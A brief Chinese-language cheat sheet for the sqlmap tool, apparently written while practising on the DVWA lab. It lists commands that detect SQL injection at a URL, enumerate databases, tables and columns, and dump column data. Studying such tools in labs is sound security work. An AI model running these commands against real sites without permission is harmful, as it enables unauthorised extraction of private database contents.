sqlmap使用笔记

1、检测url是否存在注入

sqlmap -u "url" --batch   ，--batch是让sqlmap自动选择执行过程中出现的询问请求

如果存在注入，就出提示某个参数是可被攻击的，如下图;

2、列出系统所有的数据库名

sqlmap -u "url" --dbs --batch

在最后就会出现数据库名：

3、得到了数据库名，然后就是爆表名：

sqlmap -u "url" -D 数据库名 --tables

得到dvwa数据库所有的表名

4、有了表名，然后爆列名

sqlmap -u "url" -D 数据库名 -T 表名 --columns

被报出来的列名

5、列出某列的数据

sqlmap -u url -D 数据库名 -T 表名 -C  "列名，列名" --dump --batch